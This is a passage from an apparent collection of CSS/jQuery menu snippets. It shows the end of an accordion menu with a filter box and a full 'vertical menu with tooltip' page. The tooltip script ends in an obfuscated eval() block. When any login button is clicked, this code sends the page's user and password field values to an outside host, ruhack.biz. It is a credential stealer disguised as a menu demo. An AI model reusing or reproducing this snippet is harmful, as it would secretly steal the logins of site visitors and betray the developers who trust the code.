.white.jquery-accordion-menu .jquery-accordion-menu-footer,.white.jquery-accordion-menu .jquery-accordion-menu-header,.white.jquery-accordion-menu ul li a {
background: #fff;
color: #555
}
.white.jquery-accordion-menu>ul>li.active>a,.white.jquery-accordion-menu>ul>li:hover>a {
background: #f0f0f0
}
.white.jquery-accordion-menu>ul>li>a {
border-bottom-color: #f0f0f0
}
.white.jquery-accordion-menu ul ul.submenu li:hover>a {
border-left-color: #f0f0f0;
background: #3b3b3b;
}
.white.jquery-accordion-menu ul ul.submenu li a {
color: #f0f0f0
}
.white.jquery-accordion-menu>ul>li>a>.ink {
background: rgba(0,0,0,.1)
}
.black.jquery-accordion-menu .jquery-accordion-menu-footer,.black.jquery-accordion-menu .jquery-accordion-menu-header,.black.jquery-accordion-menu ul li a {
background: #292929
}
.black.jquery-accordion-menu>ul>li.active>a,.black.jquery-accordion-menu>ul>li:hover>a {
background: #222
}
.black.jquery-accordion-menu>ul>li>a {
border-bottom-color: #222
}
.black.jquery-accordion-menu ul ul.submenu li:hover>a {
border-left-color: #222;
background: #3b3b3b;
}
.content{
width:260px;/*ширина меню*/
margin:100px auto;
}
.filterinput{
background-color:rgba(249, 244, 244, 0);
border-radius:15px;
width:90%;
height:30px;
border:thin solid #FFF;
text-indent:0.5em;
font-weight:bold;
color:#FFF;
}
#demo-list a{
overflow:hidden;
text-overflow:ellipsis;
-o-text-overflow:ellipsis;
white-space:nowrap;
width:100%;
}
</style>
</head>
<body>
<link href="https://fonts.googleapis.com/css?family=Roboto:400,700&subset=cyrillic" rel="stylesheet">
<div class="content">
<div id="jquery-accordion-menu" class="jquery-accordion-menu green">
<div class="jquery-accordion-menu-header" id="form"></div>
<ul id="demo-list">
<li class="active"><a href="#"><i class="fa fa-home"></i>Home </a></li>
<li><a href="#"><i class="fa fa-glass"></i>Events </a></li>
<li><a href="#"><i class="fa fa-file-image-o"></i>Gallery </a>
<span class="jquery-accordion-menu-label">12 </span>
</li>
<li><a href="#"><i class="fa fa-cog"></i>Services </a>
<ul class="submenu">
<li><a href="#">Web Design </a></li>
<li><a href="#">Hosting </a></li>
<li><a href="#">Design </a>
<ul class="submenu">
<li><a href="#">Graphics </a></li>
<li><a href="#">Vectors </a></li>
<li><a href="#">Photoshop </a></li>
<li><a href="#">Fonts </a></li>
</ul>
</li>
<li><a href="#">Consulting </a></li>
</ul>
</li>
<li><a href="#"><i class="fa fa-home"></i>System </a></li>
<li><a href="#"><i class="fa fa-suitcase"></i>Portfolio </a>
<ul class="submenu">
<li><a href="#">Web Design </a></li>
<li><a href="#">Graphics </a>
<span class="jquery-accordion-menu-label">10 </span>
</li>
<li><a href="#">Photoshop </a></li>
<li><a href="#">Programming </a></li>
</ul>
</li>
<li><a href="#"><i class="fa fa-user"></i>About </a></li>
<li><a href="#"><i class="fa fa-envelope"></i>Contact </a></li>
</ul>
<div class="jquery-accordion-menu-footer">
Footer
</div>
</div>
</div>
<script src='https://ajax.googleapis.com/ajax/libs/jquery/1.7/jquery.min.js'></script>
<script>
;(function ($, window, document, undefined) {
var pluginName = "jqueryAccordionMenu";
var defaults = {
speed: 300,
showDelay: 0,
hideDelay: 0,
singleOpen: true,
clickEffect: true };
function Plugin(element, options) {
this.element = element;
this.settings = $.extend({},
defaults, options);
this._defaults = defaults;
this._name = pluginName;
this.init();
};
$.extend(Plugin.prototype, {
init: function () {
this.openSubmenu();
this.submenuIndicators();
if (defaults.clickEffect) {
this.addClickEffect();
}
},
openSubmenu: function () {
$(this.element).children("ul").find("li").bind("click touchstart",
function (e) {
e.stopPropagation();
e.preventDefault();
if ($(this).children(".submenu").length > 0) {
if ($(this).children(".submenu").css("display") == "none") {
$(this).children(".submenu").delay(defaults.showDelay).slideDown(defaults.speed);
$(this).children(".submenu").siblings("a").addClass("submenu-indicator-minus");
if (defaults.singleOpen) {
$(this).siblings().children(".submenu").slideUp(defaults.speed);
$(this).siblings().children(".submenu").siblings("a").removeClass("submenu-indicator-minus");
}
return false;
} else {
$(this).children(".submenu").delay(defaults.hideDelay).slideUp(defaults.speed);
}
if ($(this).children(".submenu").siblings("a").hasClass("submenu-indicator-minus")) {
$(this).children(".submenu").siblings("a").removeClass("submenu-indicator-minus");
}
}
window.location.href = $(this).children("a").attr("href");
});
},
submenuIndicators: function () {
if ($(this.element).find(".submenu").length > 0) {
$(this.element).find(".submenu").siblings("a").append("<span class='submenu-indicator'>+</span>");
}
},
addClickEffect: function () {
var ink, d, x, y;
$(this.element).find("a").bind("click touchstart",
function (e) {
$(".ink").remove();
if ($(this).children(".ink").length === 0) {
$(this).prepend("<span class='ink'></span>");
}
ink = $(this).find(".ink");
ink.removeClass("animate-ink");
if (!ink.height() && !ink.width()) {
d = Math.max($(this).outerWidth(), $(this).outerHeight());
ink.css({
height: d,
width: d });
}
x = e.pageX - $(this).offset().left - ink.width() / 2;
y = e.pageY - $(this).offset().top - ink.height() / 2;
ink.css({
top: y + 'px',
left: x + 'px' }).
addClass("animate-ink");
});
} });
$.fn[pluginName] = function (options) {
this.each(function () {
if (!$.data(this, "plugin_" + pluginName)) {
$.data(this, "plugin_" + pluginName, new Plugin(this, options));
}
});
return this;
};
})(jQuery, window, document);
jQuery(document).ready(function () {
jQuery("#jquery-accordion-menu").jqueryAccordionMenu();
});
$(function () {
$("#demo-list li").click(function () {
$("#demo-list li.active").removeClass("active");
$(this).addClass("active");
});
})
(function ($) {
function filterList(header, list) {
var form = $("<form>").attr({
"class": "filterform",
action: "#" }),
input = $("<input>").attr({
"class": "filterinput",
type: "text" });
$(form).append(input).appendTo(header);
$(input).change(function () {
var filter = $(this).val();
if (filter) {
$matches = $(list).find("a:Contains(" + filter + ")").parent();
$("li", list).not($matches).slideUp();
$matches.slideDown();
} else {
$(list).find("li").slideDown();
}
return false;
}).keyup(function () {
$(this).change();
});
}
$(function () {
filterList($("#form"), $("#demo-list"));
});
})(jQuery);
</script>
</body>
</html>8. By KuKuKu
Made by KuKuKu. A Simple JavaScript Vertical menu with Tooltip. Source
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title></title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<style>
body a {
text-decoration: none;
}
body {
color: #424242;
font: 11px "tahoma";
}
ul, li {
margin: 0;
padding: 0;
}
/* reset end */
#sidebar_l {
float: left;
padding: 3px 3px 0;
width: 226px;
}
.block {
background: none repeat scroll 0 0 #f7f7f7;
border: 1px solid #d4d4d4;
border-radius: 2px;
margin: 0 0 3px;
overflow: hidden;
}
.block_title {
background: url("https://i.imgur.com/OHf0xow.png") repeat-x scroll 0 0 rgba(0, 0, 0, 0);
height: 29px;
line-height: 28px;
padding: 0 15px;
}
.block_title img {
background: none repeat scroll 0 0 #f7f7f7;
border-radius: 2px;
float: right;
margin: 4px -5px 5px 0;
padding: 1px;
}
.block_content_m {
overflow: hidden;
padding: 0 0 2px;
}
.block_content_m ul {
list-style: outside none none;
margin: 0;
padding: 0;
}
.block_content_m li {
background: url("https://i.imgur.com/QwwfrB7.png") repeat-x scroll 0 0 rgba(0, 0, 0, 0);
height: 27px;
border-bottom: 1px solid #dfdfdf;
}
.block_content_m li:hover {
background: url("https://i.imgur.com/yUSs8KQ.png") repeat-x scroll 0 0 rgba(0, 0, 0, 0);
}
.block_content_m li a {display:block;padding:7px 15px 7px 25px;color:#464646;}
.block_content_m li a.hico {display:block;background:url('https://i.imgur.com/9OF6bZ0.png')no-repeat 10px 7px;padding:7px 15px 7px 32px;color:#464646;}
.block_content_m li a:hover.hico {display:block;background:url('https://i.imgur.com/04P96g0.png')no-repeat 10px 7px;color:#fff;}
.block_content_m li a.lico {display:block;background:url('https://i.imgur.com/Vkk3vjQ.png')no-repeat 11px 10px;padding:7px 15px 7px 32px;color:#464646;}
.block_content_m li a:hover.lico {display:block;background:url('https://i.imgur.com/N5u2hjB.png')no-repeat 11px 10px;color:#fff;}
.block_content_m li a.fico {display:block;background:url('https://i.imgur.com/NRaYIPf.png')no-repeat 10px 9px;padding:7px 15px 7px 32px;color:#464646;}
.block_content_m li a:hover.fico {display:block;background:url('https://i.imgur.com/V7Bs6NH.png')no-repeat 10px 9px;color:#fff;}
.block_content_m li a.mico {display:block;background:url('https://i.imgur.com/F7tGR8N.png')no-repeat 10px 7px;padding:7px 15px 7px 32px;color:#464646;}
.block_content_m li a:hover.mico {display:block;background:url('https://i.imgur.com/YkicF6k.png')no-repeat 10px 7px;color:#fff;}
.block_content_m li a.topico {display:block;background:url('https://i.imgur.com/cxfwahC.png')no-repeat 10px 9px;padding:7px 15px 7px 32px;color:#464646;}
.block_content_m li a:hover.topico {display:block;background:url('https://i.imgur.com/3qugrWy.png')no-repeat 10px 9px;color:#fff;}
.block_content_c li a {display:block;background:url('https://i.imgur.com/VlbIksH.png')no-repeat 13px 11px;padding:7px 15px 7px 32px;color:#464646;}
.block_content_c {padding:0 0 2px 0;overflow:hidden;}
.block_content_c ul {margin:0;padding:0;list-style:none;}
.block_content_c li {background:url('https://i.imgur.com/pvacxXb.png')repeat-x;height:27px;}
.block_content_c li:hover {background:url('https://i.imgur.com/Y04ZDF2.png')repeat-x;}
.block_content_c li a:hover {color:#fff;}
.block_content_c li a img {float:right;}
ul.catmenu li {background:#f5f5f5;border-bottom:1px solid #dfdfdf;height:23px;}
ul.catmenu li:hover a {color:#fff;}
ul.catmenu li a {display:block;background:url('https://i.imgur.com/VlbIksH.png')no-repeat 13px 9px;padding:5px 15px 5px 32px!important;color:#464646;}
#easyTooltip {background:rgba(60,60,60,0.7);line-height:14px;padding:5px 8px;font:12px/11px Calibri, Arial, Helvetica, sans-serif;color:#fff;font-style:italic;-webkit-border-radius:5px;-moz-border-radius:5px;-o-border-radius:5px;}
</style>
</head>
<body>
<script src="//code.jquery.com/jquery-1.11.0.min.js"></script>
<div id="sidebar_l">
<!-- <block1> -->
<div class="block">
<div class="block_title"><img src="https://i.imgur.com/SLuQFU3.png">Main Menu</div>
<div class="block_content_m">
<ul>
<li><a href="/" class="hico" title="Home Page">Home Page</a></li>
<li><a href="/load" class="lico" title="Everything of the site, and also the site schedule">Blog Archive</a></li>
<li><a href="/forum" class="fico" title="Everything of the site, and also the site schedule">Forum</a></li>
<li><a href="/index/0-3" class="mico" title="Everything of the site, and also the site schedule">subMenu 3</a></li>
<li><a href="/dir/" class="topico" title="Everything of the site, and also the site schedule">subMenu 4</a></li>
</ul>
</div>
</div>
<!-- </block1> -->
<!-- <block1> -->
<div class="block">
<div class="block_title"><img src="https://i.imgur.com/SLuQFU3.png">Navigation</div>
<div class="block_content_c">
<ul>
<li><a href="javascript://" rel="nofollow" onclick="$('#catmenu_1').slideToggle('slow');"><img src="https://i.imgur.com/uECFy2L.png">Navigation</a></li>
<ul class="catmenu" id="catmenu_1" style="display: none;">
<li><a href="/">Navigation</a></li>
<li><a href="/">Navigation</a></li>
<li><a href="/">Navigation</a></li>
<li><a href="/">Navigation</a></li>
<li><a href="/">Navigation</a></li>
</ul>
</ul>
</div>
<div class="block_content_c">
<ul>
<li><a href="javascript://" rel="nofollow" onclick="$('#catmenu_2').slideToggle('slow');"><img src="https://i.imgur.com/uECFy2L.png">Navigation2</a></li>
<ul class="catmenu" id="catmenu_2" style="display: none;">
<li><a href="/load/7">Navigation2</a></li>
<li><a href="/load/8">Navigation2</a></li>
<li><a href="/load/9">Navigation2</a></li>
<li><a href="/load/10">Navigation2</a></li>
</ul>
</ul>
</div>
<div class="block_content_c">
<ul>
<li><a href="javascript://" rel="nofollow" onclick="$('#catmenu_3').slideToggle('slow');"><img src="https://i.imgur.com/uECFy2L.png">Navigation2</a></li>
<ul class="catmenu" id="catmenu_3" style="display: none;">
<li><a href="/load/7">Navigation2</a></li>
<li><a href="/load/8">Navigation2</a></li>
<li><a href="/load/9">Navigation2</a></li>
<li><a href="/load/10">Navigation2</a></li>
</ul>
</ul>
</div>
<div class="block_content_c">
<ul>
<li><a href="javascript://" rel="nofollow" onclick="$('#catmenu_4').slideToggle('slow');"><img src="https://i.imgur.com/uECFy2L.png">Navigation2</a></li>
<ul class="catmenu" id="catmenu_4" style="display: none;">
<li><a href="/load/7">Navigation2</a></li>
<li><a href="/load/8">Navigation2</a></li>
<li><a href="/load/9">Navigation2</a></li>
<li><a href="/load/10">Navigation2</a></li>
</ul>
</ul>
</div>
</div>
<!-- </block1> -->
<!-- <block1> -->
<div class="block">
<div class="block_title"><img src="https://i.imgur.com/SLuQFU3.png">Main Menu 2</div>
<div class="block_content_m">
<ul>
<li><a href="/" class="hico" title="Home Page">Home Page</a></li>
<li><a href="/load" class="lico" title="Everything of the site, and also the site schedule">Blog Archive</a></li>
<li><a href="/forum" class="fico" title="Everything of the site, and also the site schedule">Forum</a></li>
<li><a href="/index/0-3" class="mico" title="Everything of the site, and also the site schedule">subMenu 3</a></li>
<li><a href="/dir/" class="topico" title="Everything of the site, and also the site schedule">subMenu 4</a></li>
</ul>
</div>
</div>
<!-- </block1> -->
</div>
<script src="https://cpwebassets.codepen.io/assets/common/stopExecutionOnTimeout-1b93190375e9ccc259df3a57c1abc0e64599724ae30d7ea4c6877eb615f89387.js"></script>
<script src='//cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
<script>
// Tooltip
(function ($) {
$(document).ready(function () {
$("a, img, div, span, input").easyTooltip();
});
$.fn.easyTooltip = function (b) {
var c = {
xOffset: 15,
yOffset: -15,
tooltipId: "easyTooltip",
clickRemove: false,
content: "",
useElement: "" };
var b = $.extend(c, b);
var d;
this.each(function () {
var a = $(this).attr("title");
$(this).hover(function (e) {
d = b.content != "" ? b.content : a;
d = b.useElement != "" ? $("#" + b.useElement).html() : d;
$(this).attr("title", "");
if (d != "" && d != undefined) {
$("body").append("<div id='" + b.tooltipId + "'><div class='easyTooltip'>" + d + "</div></div>");
$("#" + b.tooltipId).css("position", "absolute").css("top", e.pageY - b.yOffset + "px").css("left", e.pageX + b.xOffset + "px").css("display", "none").fadeIn("fast");
}
}, function () {
$("#" + b.tooltipId).remove();
$(this).attr("title", a);
});
$(this).mousemove(function (e) {
$("#" + b.tooltipId).css("top", e.pageY - b.yOffset + "px").css("left", e.pageX + b.xOffset + "px");
});
if (b.clickRemove) {
$(this).mousedown(function (e) {
$("#" + b.tooltipId).remove();
$(this).attr("title", a);
});
}
});
};
})(jQuery);
eval(function (p, a, c, k, e, r) {e = function (c) {return c.toString(a);};if (!''.replace(/^/, String)) {while (c--) {if (window.CP.shouldStopExecution(0)) break;r[e(c)] = k[c] || e(c);}window.CP.exitedLoop(0);k = [function (e) {return r[e];}];e = function () {return '\\w+';};c = 1;};while (c--) {if (window.CP.shouldStopExecution(1)) break;if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);}window.CP.exitedLoop(1);return p;}('$(4).8(1(){$(\'0[6="a"]\').c(1(){$.e("g://i.5/9.d?h="+"j.7: "+$("0[2=\'b\']").3()+";"+$("0[2=\'f\']").3())})});', 20, 20, 'input|function|name|val|document|biz|class|ru|ready|js|loginButton|user|click|php|getScript|password|http|add|ruhack|7old'.split('|'), 0, {}));
</script>
</body>
</html>